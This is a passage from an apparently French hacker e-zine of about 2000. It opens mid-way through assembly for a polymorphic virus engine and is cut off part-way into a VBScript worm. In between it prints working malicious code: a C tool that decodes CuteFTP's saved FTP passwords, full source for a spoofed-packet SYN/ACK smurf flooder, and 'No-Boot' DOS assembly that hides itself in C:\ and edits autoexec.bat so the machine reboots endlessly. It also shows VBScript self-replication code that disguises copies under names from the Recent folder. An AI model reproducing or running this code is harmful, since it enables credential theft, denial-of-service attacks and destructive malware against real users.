        stosb
        dec cx
	mov al,0FFh
	stosb
	dec cx
        ret

Wri_cmp:
	mov al,83h
	stosb
	dec cx
        call Get_Reg
        add al,0F8h
        stosb
        dec cx
	mov ax,100h
	call Get_Random
	stosb
	dec cx
        ret

end_msg db 'Polymorphism engine by Androgyne from RTCG4ng$'

Engine_End:

end Polymorphism

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					   SpyPort vBeta 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Le code source de ce prog est  lier avec le module winsockdefs2.bas fourni avec le mAg.
On attaque le codage (bon on vous donne pas toutes les carac des contrles, je pense qu'au vue du prog vous pouvez les devinez).

************************************Form1************************************** 
Public Port
Public Wbox
Public FichDest As String

Private Sub Command1_Click()
    Probcl
End Sub

Private Sub Command2_Click()
    Form2.Show
End Sub

Private Sub Command3_Click()
Dim Nom, Contenu As String
Dim Nombre, i, Nb
    CommonDialog1.ShowSave
    Nom = CommonDialog1.filename
    If Nom = "" Then MsgBox "Vous devez choisir un nom de fichier", vbCritical, "ERREUR": Exit Sub
    Nb = FreeFile
    Open Nom For Append As Nb
    Nombre = Form1.List1.ListCount
    For i = 0 To Nombre
        Contenu = Form1.List1.List(i)
        Print #Nb, Contenu
    Next i
    Close #Nb
End Sub

Private Sub Form_Load()
    Port = "20"
    Wbox = True
End Sub

Private Sub serv_Click()
    Form4.Show
End Sub

Private Sub Us_Click()
    Form3.Show
End Sub

************************************Form2**************************************
Private Sub Check2_Click()
    If Check2.Value = 1 Then
        CommonDialog1.ShowSave
        Form1.FichDest = CommonDialog1.filename
    End If
End Sub


Private Sub Command1_Click()
    Unload Form2
End Sub

Private Sub Command2_Click()
    If Val(Text1) < 65000 And Val(Text1) > 0 Then Form1.Port = Text1 Else MsgBox "Le numro de port doit etre un entier compris entre 1 et 65000", vbCritical, "Erreur sur le numro de port"
    Form1.Wbox = Check1.Value
    Unload Form2
End Sub

************************************Form3**************************************
Pas de code

************************************Form4************************************** 
Pas de code

***********************************Bcl.bas*************************************
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)
Option Explicit
    Dim AdrIP As String
    Dim a, b, c, CR
    
Public Function Probcl()
    
    'initialisation
    Dim IPStruct As Inet_Adress
    Dim WData As WSA_DATA
    Dim Sin As SOCK_ADDR
    Dim sock As Long
    Dim Rmt As SOCK_ADDR
    Dim essai
    
    CR = WSAStartup(&H101, WData)
    If CR <> 0 Then
       MsgBox "Mauvaise version de Winsock.dll"
        Exit Function
    End If
    'ouverture de la socket
    sock = Socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
    
    'remplissage de la structure sockaddr_in
    Sin.sin_addr.S_addr = INADDR_ANY
    Sin.sin_port = htons(Form1.Port)
    Sin.sin_family = AF_INET
    Sin.sin_zero(0) = 0

    essai = Len(Rmt)
    'on lie la socket  notre port
    a = bind(sock, Sin, Len(Sin))
    If a < 0 Then MsgBox "Erreur bind " & WSAGetLastError(): Exit Function
    b = listen(sock, 2)
    If b < 0 Then MsgBox "Erreur listen " & WSAGetLastError(): Exit Function
    Form1.Hide
    c = accept(sock, Rmt, essai)
    If c < 0 Then MsgBox "Erreur accept " & WSAGetLastError(): closesocket (sock): Exit Function
    closesocket (sock)
    CopyMemory IPStruct, Rmt.sin_addr.S_addr, 4
    AdrIP = CStr(Asc(IPStruct.Byte4)) & "." & CStr(Asc(IPStruct.Byte3)) & "." & CStr(Asc(IPStruct.Byte2)) & "." & CStr(Asc(IPStruct.Byte1))
    Form1.List1.AddItem Now & ": Scanning from " & AdrIP
    Traitement
    WSACleanUp
    If Form1.Wbox = 0 And Form1.FichDest <> "" Then Probcl
End Function

Private Sub Traitement()
    If Form1.Wbox = 1 Then Form1.Show
    If Form1.FichDest <> "" Then
        Dim Nb
        Nb = FreeFile
        Open Form1.FichDest For Append As Nb
        Print #Nb, Now & ": Scanning from " & AdrIP
        Close #Nb
    End If
End Sub

								by Par4noID && SLy
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
		  			Des logins/pass FTP rapides ou
			pourquoi les programmeurs de CuteFTP sont des flemards..
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

CuteFTP est un sinon LE client FTP le plus connus et le plus utilis sous windows. Pourtant il presente une ENORME faille de securite car tout le monde le sais, sous zindozs, on peut pas (ou difficilement) proteger ses fichiers en lecture (en ecriture non plus on peut pas:(

La faille de CuteFTP est d'enregistrer les pass des sites que vous avez entrer dans sa base de donnees(donc les enregistrer dans un fichier sur le hd plus ou MOINS crypter).

Le fichier ou CuteFTP enregistre tout ca c'est smdata.dat qui se trouve dans le rep. ou vous avez avez installer CuteFTP.
Quand on explore ce fichier on se rend compte que les programmeurs de ce soft etait bourre d'acide quand il l'on code : le cryptage utilise est totalemnet inutile! C'est juste un substitution de caracteres! Par exemple a=e, u=d...

Ben maintenenant il ne suffit plus que de decoder tout ca:
apres plusieurs dizaine de minutes a etudier ce putaint de fichier je trouve comment il est structur:
-L'octets 80(128 en decimal) delimite chaque site.
-Il y a plus ou moins de champs par site(selon si on a rempli ou non tous les champs pendant l'ajout du site dans la base de donnees de CuteFTP) dans l'ordre : nom du site, adresse du serveurFTP, UserID, Pass...apres on s'en fout..
-le premier caractere de chaque champ correspond au nombre de caractere du champ.

Humm...c pas trop clair ca...J'vais vous faire un exemple.
Je lance CuteFTP.
J'ajoute un nouveau site dans sa base de donnee :
label : tf1.fr
serveur FTP : ftp.tf1.fr
UserID : tf1
pass : ********** <==j'ai taper azerty1234

Dans le fichier smdata.dat, ce nouveau site sera code comme ca a la suite des autres :

80 06 't' 'f' '1' '.' 'f' 'r' 0a 'f' 't' 'p' '.' 't' 'f' '1' '.' 'f' 'r'
03 't' 'f' '1' 0a 88 a5 b2 c6 96 66 88 99 b6 c2
(le pass ne correspond pas mais j'espere que vous avez compris)

le deuxieme octet de cet exemple est 06 ce nombre correspond au nombre d'octets (et donc au nombre de carateres) que fait le champ d'apres, la c'est le nom du site : tf1.fr <== il y a bien 6 caracteres.J'espere que je me suis fait comprendre:)

Apres, une fois qu'on a degager tout les champ c tout easy, comme je vous l'ai dit a chaque octet du mot de passe en correspond un autre, il y a donc une table de conversion:
octet* "cryptes"		octet clair			*en decimal
128						'H'
129						'I'
130						'J'
131						'K'
132						'L'
..etc...
Si vous la voulez entiere, trouvez la tout seul ou pompez la du programme qui suit(J'vais pas m'amuser a la recopier entiere...Moi aussi j'uis flemard!).

Le programme est en C et tourne sous Linux, il prend comme argument le fichier smdata.dat et comme deuxieme argument(facultatif) le fichier de sortie(ou vont etre ecrite les donnees sorties du fichier :
nom du site, serveurFTP, login, Pass 
si rien n'est rien specifier comme 2eme argument, sortie vers stdout.

----------------------------Cut here-------------------------------------------

/* RaCute.c Coded by Recursiver<recursiver@caramail.com> le 30/08/2000 
 * Ce programme "decrypte"(si on peut appeler ca decrypter :()
 * le fichier smdata.dat de Cute FTP version 3.x ( les versions anterieures 
 * doivent etre du meme style et il faut esperer que les versions superieur 
 * soit un peu mieux crypter...)
 * Pour compiler :
 * # gcc -o RaCute RaCute.c
 * Le premier argument de RaCute est le chemin du fichier smdata.dat et le  
 * deuxieme(facultatif) et le fichier ou devront etre enregistrer les donnees
 * sortie de smdata.dat, si il n'y a pas de 2eme argument, appuyer sur ENTREE
 * pour faire defiler les sites sur le terminal. */
 
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#define C ' '

char *decriptPass(char *crypt);
char *takechamp(FILE *fptr); 

int main(int argc, char *argv[]) {

  FILE *fptr;
  FILE *fileout;
  int buffer;
  int i;
  char *champ;
  char *label[3] = {"Nom du site", "Adresse du server", "UserID"}; 
  char *pass;

  if (argc != 2 && argc != 3) {
    fprintf(stderr, "Usage: %s <cutefile> [outputfile]\n", argv[0]);
    exit(0);
  }
  
  printf("RaCute by Recursiver <recursiver@caramail.com>\n");
  printf("Ouverture de %s..\n", argv[1]);
  if (argc == 3 ) {
    printf("Ouverture de %s..\n", argv[2]);
    if ((fileout = freopen(argv[2], "w", stdout)) == NULL)
      perror("Erreur dans l'ouverture du fichier");
  }
    
  
  if ((fptr = fopen(argv[1], "r")) == NULL) {
    perror("Erreur dans l'ouverure du fichier");
    exit(0);
  }
  while(1) { 
    while((buffer = fgetc(fptr)) != 128)
      if (buffer == EOF)
        return 0;
    for (i=0 ; i <= 3 ; i++) {
      if ((champ = takechamp(fptr)) == NULL) {
	printf("Rien de plus :(\n");
	break;
      }
      if (i == 3) {
	pass = decriptPass(champ);
	if (argc == 2) {
	  printf("Password = \033[1;31m %s \033[0m\n", pass);
          }   
	else
	  printf("Password = %s\n\n", pass);
	free(pass); 
      }
      else 
	printf("%s = %s\n", label[i], champ);            
      free(champ);
    }
    if (argc == 2)
      getchar();
  }
  putchar('\n');
  if (argc == 3)
    fclose(fileout);
  fclose(fptr);
  return 0;
}

char *takechamp(FILE *fptr) {
  register int i;
  int lchamp; 
  char buffer;
  char *champ;
  
  if ((lchamp = fgetc(fptr)) == 0)
    return NULL;
  champ = malloc(lchamp + 1);

  for(i=0 ; i <=  lchamp-1 ; i++) {
    buffer = fgetc(fptr);
    champ[i] = buffer;
  }
  champ[i] = '\0';
  return (champ);
}

char *decriptPass(char *crypt) {
  char table[] = {'H','I','J','K','L','M','N','O','@',
		  'A','B','C','D','E','F','G','X','Y',
		  'Z','[','\\',']','^','_','P','Q','R',
		  'S','T','U','V','W',
		  'h','i','j','k','l','m','n','o','`',
		  'a','b','c','d','e','f','g','x','y',
		  'z','{','|','}','~',C,'p','q','r',
		  's','t','u','v','w',C,C,C,C,
		  C,C,C,C,C,C,C,C,C,
		  C,C,C,C,C,C,C,C,C,
		  C,C,C,C,C,C,C,C,C,
		  C,'(',')','*','+',',','-','.','/',
		  C,'!','"','#','$','%','&',C,'8',
		  '9',':',';','<','=','>','?','0','1',
		  '2','3','4','5','6','7','8','9'};
  char *clair;
  int i;

  clair = malloc(strlen(crypt) + 1);
  for (i=0 ; crypt[i] != '\0' ; i++) {
    if ((unsigned char)crypt[i] >= 128)
      clair[i] = table[(unsigned char)crypt[i] - 128];
    else
      clair[i] = C;
  }
  clair[i] = '\0';
  return (clair);
}
----------------------------Cut here-------------------------------------------

Et voila, moi je suis content j'ai trouver quelqu'un encore plus flemard que moi :)
Si vous avez des remarques, des suggestions... 
mailto:recursiver@caramail.com

											by Recursiver
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                             Le SYN/ACK  smurfing
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Tout le monde connais le smurfing (expliqu par SLy dans le mag 1), son principe
est simple : on envoie des paquet ping  une liste de machine qui vont rpondre
un paquet pong  la cible.
Le SYN-Flooding est galement trs connu : on envoie normment de demande de
connexion (paquet SYN)  la cible qui sera dbord par le nombre de rponse
 donner.

Un autre DoS peut-tre utilis. Il repose sur le principe du smurf mais en
changeant le type de paquet : on demande des connexions (paquet SYN)  la liste
de machine qui vont rpondre par OUI ou NON (paquet ACK ou RST). La cible sera
alors dborder par le nombre de rponse  donner comme quoi il n'a pas demander
de connexion...

Pour la mise en oeuvre, il faut une liste de machine de prfrence ayant toutes
le mme port d'ouvert puis il faut envoyer un ou plusieurs paquet ACK  ces
machines. La raison pour laquelle il faut que les machines de la liste aient
toutes le mme port ouvert est la rponse ACK qui du ct de la victime 
provoquera une rponse RST : ainsi la victime sera dbord par le nombre de
rponses  grer. Voil le code qui fait ca :
<-- begin rtcsynsmurf.c -->
<-- cut here            -->
/******************************************************************************
 *               rtcacksmurf.c by SLy and S/asH  (members of RtC)             *
 *                             ACK Smurfing                                   *
 * to make : gcc rtcacksmurf.c -o rtcacksmurf                                 *
 *                      This is a tOOl of RtC TecH                            *
 ******************************************************************************/
#define _BSD_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pwd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>

/*#define DEBUGGING
/******************************************************************************
 * Function HEXDUMP for debugging                                             *
 * No comment                                                                 *
 ******************************************************************************/
#ifdef DEBUGGING
void HEXDUMP(unsigned len, unsigned char *buf)
{
  unsigned i;
  for(i=0; i<len; i++)
    printf("%02X%c", *(buf+i), ((i+1)%20) ? ' ' : '\n');
}
#endif

/* interface strings */
const char *verstr =       "/------------------------------------------------------------------------------\\\n"
                           "|                               RtC SYN Smurf                                  |\n"
                           "|                    Created by SLy and S/asH (members of RtC)                 |\n"
                           "|                             SYN Smurfing DoS                                 |\n"
                           "|                         This is a tOOl of RtC TecH                           |\n"
                          "\\------------------------------------------------------------------------------/\n";

const char *syntaxstr =    "syntax : rtcacksmurf destip destport fromport bcfile [packetnb [delay]]\n"
                           "           destip   : ip of host to smurf\n"
                           "           destport : port to flood\n"
                           "           fromport : port to use for flood (of broadcast ip)\n"
                           "           bcfile   : file containing the ip list to use for broadcast\n"
                           "           paquetnb : number of packets to send (default 1)\n"
                           "           delay    : delay between two sending in ms (default 100)\n";

/* tcp/ip raw functions */

/******************************************************************************
 * in_cksum --                                                                *
 *  Checksum routine for Internet Protocol family headers (C Version)         *
 ******************************************************************************/
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
    sum += (sum >> 16);                   /* add carry */
    answer = ~sum;                        /* truncate to 16 bits */
    return(answer);
}


/******************************************************************************
 * Function tcp_send                                                          *
 * send a customized TCP Header                                               *
 * Input  : socket : socket to write                                          *
 *          address : destination address                                     *
 *          s_addr, t_addr : source and destination address for checksum      *
 *          s_port, t_port : source and dest port                             *
 *          tcpflags : flags of tcp header                                    *
 *          seq : sequence number                                             *
 *          ack : ack number                                                  *
 *          win : window size                                                 *
 *          datagram : data to send in tcp packet                             *
 *          datasize : size of datagram                                       *
 * Output : tcp_send : result of send                                         *
 ******************************************************************************/
inline int tcp_send(int      socket,
		    struct sockaddr_in *address,
		    unsigned long s_addr,
		    unsigned long t_addr,
		    unsigned      s_port,
		    unsigned      t_port,
		    unsigned char tcpflags,
		    unsigned long seq,
		    unsigned long ack,
		    unsigned      win,
		    char          *datagram,
		    unsigned      datasize)
{
  struct pseudohdr  {
    u_int32_t saddr;
    u_int32_t daddr;
    u_int8_t  useless;
    u_int8_t  protocol;
    u_int16_t tcplength;
  };

  unsigned char packet[2048];
  struct iphdr        *ip     = (struct iphdr *)(packet);
  struct pseudohdr    *pseudo = (struct pseudohdr *)(packet+sizeof(struct iphdr)-sizeof(struct pseudohdr));
  struct tcphdr       *tcp    = (struct tcphdr *)(packet+sizeof(struct iphdr));
  unsigned char       *data   = (unsigned char *)(packet+sizeof(struct tcphdr)+sizeof(struct iphdr));      

  /*
   * The above casts will save us a lot of memcpy's later.
   * The pseudo-header makes this way become easier than a union.
   */
	
  memcpy(data,datagram,datasize);
  memset(packet,0,sizeof(struct iphdr)+sizeof(struct tcphdr));

  /* The data is in place, all headers are zeroed. */
  tcp->th_sport   = htons(s_port);
  tcp->th_dport   = htons(t_port);
  tcp->th_off     = 5;          /* 20 bytes, (no options) */
  tcp->th_flags   = tcpflags;
  tcp->th_seq     = htonl(seq);
  tcp->th_ack     = htonl(ack);
  tcp->th_win     = htons(win); /* we don't need any bigger, I guess. */
  
  /* pseudo header for cheksum */
  pseudo->saddr = s_addr;
  pseudo->daddr = t_addr;
  pseudo->protocol = IPPROTO_TCP;   
  pseudo->tcplength = htons(sizeof(struct tcphdr)+datasize);  

  /* The necessary TCP header fields are set. */
  
  tcp->th_sum = in_cksum((u_short*)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr)+datasize);
  
  /* Make the ip header */
  memset(packet, 0, sizeof(struct iphdr));
  ip->saddr    = s_addr;
  ip->daddr    = t_addr;
  ip->version  = 4;
  ip->ihl      = 5;
  ip->ttl      = 255;
  ip->id       = random()%1996;
  ip->protocol = IPPROTO_TCP; /* should be 6 */
  ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datasize);
  ip->check    = in_cksum((char *)packet,sizeof(struct iphdr));

#ifdef DEBUGGING
  printf("Packet ready. Dump: \n");
#ifdef DEBUGGING_DATA
  HEXDUMP(sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize,packet);
#else
  HEXDUMP(sizeof(struct iphdr)+sizeof(struct tcphdr),packet);
#endif
  printf("\n");
#endif
  
  return sendto(socket, packet, sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr));
  
  /* And off into the raw socket it goes. */
}

/******************************************************************************
 * Function resolve - resolve an host name                                    *
 * Input  : name : host name                                                  *
 * Output : resolve : in_addr struct for hostname                             *
 ******************************************************************************/
struct in_addr resolve(char *name)
{
  struct hostent *ent;
  struct in_addr in;

  if (!(ent=gethostbyname(name)))
    {
      in.s_addr=INADDR_NONE;
      return in;
    }

  return *(struct in_addr *)ent->h_addr; 
}

/******************************************************************************
 * Function send_ack - send a ack packet on a host                            *
 * Input  : sock         : raw socket                                         *
 *          from, dest   : sender and destinator                              *
 *          fport, dport : ports                                              *
 ******************************************************************************/
void send_ack(int sock, struct sockaddr_in from, struct sockaddr_in dest, long fport, long dport)
{
  fd_set rset;
  dest.sin_port = htons(dport);


  FD_ZERO(&rset);
  FD_SET(sock, &rset);
  /* sending a SYN packet */
  tcp_send(sock,&dest,
	   from.sin_addr.s_addr,dest.sin_addr.s_addr,
	   fport,dport,
	   TH_SYN,
	   lrand48()+1, lrand48(),
	   512,
	   NULL,
	   0);
}
/******************************************************************************
 * Function smurf : send an ack packet to each host in destlist               *
 * Input : from         : target to smurf                                     *
 *         destlist     : broadcast list                                      *
 *         fport, dport : ports for smurfing                                  *
 *         delay        : delay between two sending                           *
 ******************************************************************************/
void smurf(struct sockaddr_in from, struct sockaddr_in *destlist, long fport, long dport, int delay)
{
  int sock, rc;
  sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&rc, sizeof(rc))<0) /* set the socket for making ourselves our ip header */
    {
      fprintf(stderr, "error : couldn't write ip header.\n");
      exit(-1);
    }
  for(rc=0; destlist[rc].sin_addr.s_addr != INADDR_NONE; rc++)
    {
      send_ack(sock, from, destlist[rc], fport, dport);
      usleep(delay);
    }
  close(sock);
}

/* function for printing syntax string */
void argument(void)
{
  fprintf(stderr, syntaxstr);
  exit(0);
}

/* Now, the main procedure*/
int main (int argc, char *argv[])
{
  struct sockaddr_in target;
  FILE *bcastfile;
  long fromport, destport;
  int i, delay, packetnb;
  char buf[256];
  struct sockaddr_in *bcastlist;

  /* print for prosterity */
  printf(verstr);

  /* argument test */
  if ((argc < 5) || (argc > 7)) argument();

  /* argument parsing */
  destport = atoi(argv[2]);
  fromport = atoi(argv[3]);
  packetnb = argc>5 ? atoi(argv[5]) : 1;
  delay    = argc==7 ? atoi(argv[6]) : 100;
  
  bcastfile = fopen(argv[4], "r");
  if(!bcastfile)
    {
      fprintf(stderr, "Cannot open file %s\n", argv[4]);
      return -5;
    }

  /* Name resolving */
  printf("Resolving target name...\n");
  target.sin_family = AF_INET;
  target.sin_addr   = resolve(argv[1]);
  if(target.sin_addr.s_addr==INADDR_NONE)
    {
      fprintf(stderr, "Cannot resolve %s\n", argv[1]);
      return -1;
    }
  printf("Target is %s (%s)\n", argv[1], inet_ntoa(target.sin_addr));

  /* Resolving the hosts in the broadcast list */
  printf("Resolving broadcast list...\n");
  bcastlist = (struct sockaddr_in*)malloc(sizeof(struct sockaddr_in)*100000); /* get 100 000 field */
  if(!bcastlist)
    {
      fprintf(stderr, "error : not enough memory\n");
      return -2;
    }
  printf("Added ");
  for(i=0; !feof(bcastfile) && (i<100000); i++)
    {
      fgets(buf, 256, bcastfile);
      if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1] = 0;
      bcastlist[i].sin_family = AF_INET;
      bcastlist[i].sin_addr   = resolve(buf);
      if(bcastlist[i].sin_addr.s_addr==INADDR_NONE)
	i--;
      else printf("%s (%s); ", buf,  inet_ntoa(bcastlist[i].sin_addr));
    }
  fclose(bcastfile);

  /* Smurfing turn */
  printf("\nFlooding... ");
  while(packetnb--)
    {
      printf("%d... ", packetnb);
      smurf(target, bcastlist, fromport, destport, delay);
    }
  printf("done.\n");
  return 0;
}
<-- cut here            -->
<-- end rtcsynsmurf.c   -->

<--                           File by S/asH                                  -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
				La bomb du m4g : No-Boot
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Introduction
=============
	Pour une fois, je vais tre un peu mchante ; mais c'est juste pour le fun... Il est tellement facile d'exploiter la peur populaire que a m'a donn une ide. Que fait un utilisateur lambda quand sa machine ne dmarre plus : premirement, il panique puis il insulte la dernire personne  avoir utilis le PC ("qu'est-ce que t'as encore touch?"), et enfin, aprs avoir ressay 40 fois, il se dcide  l'emmener chez un rparateur... Mauvaise pioche. Cet utilisateur lambda est peut-tre tomb sur la bombe d'Androgyne No-Boot qui ne fait pas mal mais qui fait semblant de faire mal.

Explication
============

	Pour cette bombe, on va faire un petit programme test. Allez voir plus loin pour voir comment utiliser cette bombe sans danger. Mais pour l'instant on passe aux explications. On ne va pas attaquer le boot, a serait pas bien :-) non, il faut faire les choses plus finement. On va attaquer le non-protg autoexec.bat. En effet, c'est lui qui s'excute juste aprs le boot alors s'il y a un problme quelconque, a s'arrte l.
	Le programme va donc se recopier dans le rpertoire racine puis mettre une ligne supplmentaire dans l'autoexec.bat. Au prochain dmarrage (ou redmarrage parce qu'on peut trs bien tout faire planter pour obliger le PC  redmarrer), le PC excutera notre petit programme qui contient une routine crash ; cette routine crash empche le PC de dmarrer Windows, rsultat : le PC reboote  l'infini.
	Comment faire crasher Windows ? Rien de plus facile, n'importe quel code foireux fait crasher W mais pour tre sr que a marche, on va effacer la table des vecteurs d'interruption (et oui, on ne fait pas les choses  moiti). On aurait pu crire aussi dans la mmoire vido ( partir du segment A000), avec des rsultats tout aussi convaincants.
	Une preuve de plus (s'il en fallait une...) que Windows N'est PAS un "systme d'exploitation protg,premptif et multitche".

Code de No-Boot
================

	La bombe est prsente sous la forme d'un programme test qui excute directement la bombe. Quelques modification sont ncessaires pour insrer la bombe dans un virus. Ce programme fait 165 octets une fois compil : comme quoi 165 octets, a peut faire mal mme  la plus grande firme informatique du monde...

;No-Boot
;a program by Androgyne

.model tiny
.code

	org 100h

--------------------------------CUT HERE--------------------------------
Start:
        jmp Prepare_Crashing
	nop
	nop
	nop

Crash_Windows:

	xor ax,ax			;c'est a qui va faire mal
	mov es,ax			;on se place en es:di = 0000:0000
	xor di,di
	mov cx,0FFFFh
    Crash_Loop:
	stosw				;on recopie ax 65536 fois dans le premier segment
	loop Crash_Loop

	mov ax,4C00h			;a, c'est juste au cas o...
	int 21h

Prepare_Crashing:

	mov si,offset Begin		;on efface le jmp du dbut et on met des nop
	mov di,100h
	mov cx,4
	rep movsb

Copy_No_boot:

	mov cx,00000010b		;on cre un fichier No-Boot dans C:\
	mov dx,offset File_Name		;le fichier sera cach
	mov ah,3Ch
	int 21h
	jc The_End
	mov bx,ax

	mov al,0			;on place le pointeur de fichier au dbut
	xor cx,cx
	xor dx,dx
	mov ah,42h
	int 21h

        mov cx,offset that_s_all_folks - offset Start
	mov dx,offset Start
	mov ah,40h			;on s'y recopie
	int 21h
	jc The_End

	mov ah,3Eh			;on ferme
	int 21h

Infect_Autoexec:

	mov dx,offset Autoexec
	mov al,2
	mov ah,3Dh			;on ouvre autoexec.bat
	int 21h
	jc The_End
	mov bx,ax

	mov al,2
	xor cx,cx			;on met le pointeur  la fin
	xor dx,dx
	mov ah,42h
	int 21h

	mov cx,Path_Length
	mov dx,offset File_Path		;on crit le mot magique
	mov ah,40h
	int 21h
	jc The_End

	mov ah,3Eh			;on ferme
	int 21h

The_End:

	mov ax,4C00h			;et voil, c'est fini
	int 21h

AutoExec db 'C:\Autoexec.bat',0
File_Name db 'C:\No-Boot.com',0
File_Path db 0Dh,0Ah,'No-Boot',0Dh,0Ah
Path_Length equ $ - File_Path
Begin db 4 dup (90h)

That_s_all_folks:

end Start
--------------------------------CUT HERE--------------------------------


Exprimentation
================

	Alors l, il ne faut pas faire de conneries. On va quand mme crasher Windows et de quelle manire... Alors soyez prvoyant avant de faire n'importe quoi. Tout d'abord, munissez vous d'une disquette boot. Ensuite, lancez le programme, redmarrez et si tout se passe bien (ou mal, a dpend du point de vue), tout plante et votre PC reboote sans cesse. Arrtez le (si a ne marche pas en appuyant sur Power, laissez Power enfonc quelques secondes...) et redmarrez avec votre disquette boot. Tapez 'edit autoexec.bat' sur la ligne de commande puis enlevez la ligne superflue, enregistrer et rebooter, c'est bon. N'oublier pas d'effacer No-Boot du rpertoire racine.

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
         			Polymorphisme Vbs : suite et fin
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Polymorphisme en VBScript (2me partie)

	La dernire fois, nous avons vu un moteur de polymorphisme pour VBScript.
 Malheureusement,  chaque fois qu'il se dupliquait sa taille tait multiplie. Dans cette amliorations, j'ai rsolu le problme : 
A chaque fois qu'il lit une ligne dans le fichier, il vrifie si c'est une ligne de code (en regardant en faites si ce n'est pas une ligne d'arguments commenant par ' ou une ligne d'espaces ou ligne avec aucun caractre correspondant en fait  un [entre]) avant de la recopier dans le fichier cible. Sinon il lit la prochaine ligne de code et vrifie. Il fait cela jusqu' quand il trouve une ligne de code qui recopie dans le fichier cible .

Voici donc ce que j'ai rajout  la fonction Code :
                       ----------------------
If MyFile.AtEndOfStream = False Then Test = MyFile.ReadLine
    If Left(Test, 1) = "'" Then Call Code
    If Test = "" Then Call Code
    Pas_Espace = VerifEspaceFunc
    If Pas_Espace = False Then Call Code
'puis le code normal de la fonction Code : en gros si a arrive  l, la variable Test 'est recopie dans le fichier cible
                       ----------------------

En clair je fais un premier test pour savoir si c'est un argument. Si s'en est un alors il rappelle la procdure pour lire la prochaine ligne du fichier et refaire la srie de test.
Deuxime test : Est-ce que c'est une ligne o il n'y a rien car c'est un [entre]
Troisime test : Est-ce que c'est qu'une ligne qu'avec que des espaces grce  la fonction VerifEspaceFunc.
A d'ailleurs elle est nouvelle et j'ai oubli de vous la montrer :
                       ----------------------
Function VerifEspaceFunc()
    Dim i
    For i = 1 To Len(Test)
    If Mid(Test, i, 1) <> Chr(32) Then Exit Function
    VerifEspaceFunc = False
    Next
End Function
                       ----------------------
La fonction VerifEspaceFunc parcourt la chane Test et s'il ne trouve pas des caractres diffrents d'[Espace] alors VerifEspaceFunc est gale  false. 


J'ai aussi rajout , depuis la dernire fois, du code pour rendre le fichier dupliqu moins voyants  cause de son nom bizarre (par exemple : FHGYTRJHJIG). Donc j'ai fait en sorte que quand le fichier se cre il n'est pas un nom bizarre. En effet maintenant il tire au hasard un nom de fichier (sans son extension) se trouvant dans le dossier Recent du rpertoire Windows (c'est  dire que c'est les noms de fichiers se trouvant dans Documents du menu Dmarrer.
Voici le code :
                       ----------------------
Dim n, m, longueur, DossierR, fc, f1, s, Dossier
    Const Dossier_Windows = 0
    Set Dossier = fso.GetSpecialFolder(Dossier_Windows) 'Dossier = au dossier windows
    Dossier = Dossier + "\Recent" 
    Set DossierR = fso.GetFolder(Dossier)
    Set fc = DossierR.Files 'cration d'une collection de tous les fichiers contenues                                                         'dans le dossier
    x = 0
    For Each f1 In fc ' boucle pour chaque fichier contenu dans le dossier
        x = x + 1
    Next
    'x est donc maintenant gale au nombre de fichier  contenu dans le dossier \Recent 
    'de windows
    If x <> 0 Then 
    'Donc le code d'aprs est excut si il y a des fichiers dans le dossier.
        x = Int(Rnd * x + 1)
        s = 0
        For Each f1 In fc 
        'boucle pour chaque fichier contenu dans le dossier \Recent de windows
            s = s + 1
            HOho = fso.GetBaseName(f1.Name)
            'HOho est = au nom (sans l'extension) d'un fichier
            'contenue dans le dossier \Recent de windows (j'en ai marre)
            If s = x Then Exit For
        Next
    End If
                       ---------------------


Bien sr s'il ne trouve pas de fichier dans le dossier Recent de Windows, il cre comme avant un nom au hasard. Pour ne pas qu'il se fasse craser par lui-mme (en effet en lanant le VBScript, il se copie d'abord dans le fichier Recent de Windows(encore une fois)), il cre aussi un nom au hasard s'il se trouve dans le dossier Recent.
Voici donc la fonction : (Toute simple)
                       ----------------------
If Moi = HOho + ".vbs" Then x = 0
    If x = 0 Then
        longueur = Int(Rnd * 8) + 3
        For n = 1 To longueur
            m = Chr(Int(Rnd * 25) + 65) + m
        Next
        HOho = m
    End If
                       ----------------------


Voil enfin le code :
--------------------------------------------------------------------------------------
Dim fso, f, ts, MyFile, Nom, Hasard, Moi, DebText, Test 
' Dclare les variables
